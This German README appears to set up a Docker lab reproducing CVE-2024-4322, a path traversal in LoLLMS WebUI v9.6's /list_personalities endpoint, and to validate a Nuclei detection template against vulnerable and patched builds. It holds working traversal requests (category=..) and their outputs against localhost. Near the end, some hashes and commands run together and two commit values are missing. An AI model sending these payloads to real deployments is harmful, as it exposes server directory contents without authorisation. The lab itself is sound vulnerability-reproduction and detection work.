
POC_CVE-2024-4322
Dieses Repository stellt Docker-basierte lokale Laborumgebungen zur Reproduktion von CVE-2024-4322 bereit, einer Path-Traversal-Sicherheitslücke in LoLLMS WebUI v9.6, sowie zur Validierung, dass das zugehörige Nuclei-Template nicht auf LoLLMS WebUI v9.8 zutrifft.
Verwenden Sie dieses Labor ausschließlich gegen lokale, eigene oder explizit autorisierte Ziele.
Der Endpunkt /list_personalities in LoLLMS WebUI v9.6 ist anfällig für Path Traversal.
Der benutzergesteuerte Parameter category wird ohne Bereinigung an den Pfad personalities_zoo_path angehängt:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
Durch Senden von category=.. kann die Anfrage das beabsichtigte Personalities-Verzeichnis verlassen und den Inhalt eines übergeordneten Verzeichnisses auflisten.
Erwartetes Sicherheitslücken-Signal:
category= -> []
category=.. -> Antwort enthält "personalities_zoo"
Das korrigierte Verhalten in v9.8 lehnt den Traversal-Eingabe vor der Verzeichnisauflistung ab.
Führen Sie alle Befehle aus dem Verzeichnis aus, das diese README enthält.
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
Warten Sie auf:
Uvicorn running on http://0.0.0.0:9600
Drücken Sie Strg-C, um das Verfolgen der Logs zu beenden. Der Container läuft weiter.
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
Erwartetes Ergebnis:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
Die Reihenfolge kann variieren. Das wichtige Signal ist, dass die Traversal-Antwort sich von der Kontrollantwort unterscheidet und personalities_zoo enthält.
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
Erwartetes Ergebnis:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
Warten Sie auf:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
Erwartetes Ergebnis:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
Erwartetes Ergebnis:
[INF] Scan completed ... 0 matches found.

Dies erfordert Docker Desktop im Modus Windows-Container. Führen Sie die folgenden Befehle aus diesem Verzeichnis in PowerShell aus.
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
Warten Sie auf:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
Erwartetes Ergebnis:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
Die Reihenfolge kann variieren. Das wichtige Signal ist, dass die Traversal-Antwort sich von der Kontrollantwort unterscheidet und personalities_zoo enthält.
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
Erwartetes Ergebnis:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Dies erfordert Docker Desktop im Modus Windows-Container. Führen Sie die folgenden Befehle aus diesem Verzeichnis in PowerShell aus.
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
Warten Sie auf:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
Erwartetes Ergebnis:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
Erwartetes Ergebnis:
[INF] Scan completed ... 0 matches found.

Linux-Container:
docker compose --profile patched down --rmi local
Windows-Container:
docker compose --profile windows down
curl.jq für die Linux-anfällig-HTTP-Beispiele.Falls jq auf dem Linux-Host nicht verfügbar ist, verwenden Sie den Analysten-Container:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
Falls Nuclei nicht auf Windows installiert ist, laden Sie das Windows-Release-Binary von
https://github.com/projectdiscovery/nuclei/releases herunter, entpacken Sie es und führen Sie nuclei.exe direkt aus dem extrahierten Verzeichnis aus.
Die Dockerfiles patchen während des Builds die historischen Installationsprogramme, sodass das Labor heute reproduzierbar ist:
Die anfälligen Labore klonen den lollms-webui-Tag v9.6.
Die gepatchten Labore klonen den lollms-webui-Tag v9.8.
Die lollms_core-Submodul-URL wird auf https://github.com/ParisNeo/lollms_legacy.git umgeschrieben, da die alte Quellhistorie dorthin verschoben wurde.
Die Versionsfestlegung wird anhand der Upstream-Git-Metadaten überprüft: v9.6 ist e2f2d313cd6ea3fe81dfc4496f985f5b650853b9 und v9.8 ist 8a8e3a1c386321f641a014bf8f7029512ccad411.
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
Die entsprechenden lollms_core-Submodul-Commits sind für v9.6 und für v9.8, überprüft mit bei jedem Tag-Checkout.
Die verletzte Invariante lautet:
Der aufgelöste Pfad muss innerhalb des Personalities-Verzeichnisses bleiben
LoLLMS WebUI v9.8 und höher beheben das Problem, indem sie den category-Pfad bereinigen oder einschränken, bevor er die Dateisystem-Verzeichnisauflistungslogik erreicht. Für reale Bereitstellungen aktualisieren Sie LoLLMS WebUI auf Version 9.8 oder höher.
| Umgebung | Version | Dienst | Host-URL | Erwartetes Template-Ergebnis |
|---|
| Linux anfällig | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | Übereinstimmung |
| Linux gepatcht | v9.8 | linux-patched-server | http://127.0.0.1:9602 | keine Übereinstimmung |
| Windows anfällig | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | Übereinstimmung |
| Windows gepatcht | v9.8 | windows-patched-server | http://127.0.0.1:9603 | keine Übereinstimmung |
cfb18f6f1091addf440347322441ab28005a2d3b6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49git ls-tree HEAD lollms_coreauto_update und auto_sync_*-Optionen sind deaktiviert, um jedes Labor auf seinem Stand zu halten.
Headless-Konfigurationsdateien werden eingespielt, sodass der Server ohne Eingabeaufforderungen starten kann.
Schwere Abhängigkeiten, die für die Endpunkt-Validierung nicht benötigt werden, werden nach Möglichkeit übersprungen.
Die Windows-Installationsprogramme werden gepatcht, um ihr temporäres Verzeichnis zu erstellen und veraltete rekursive Submodule zu vermeiden.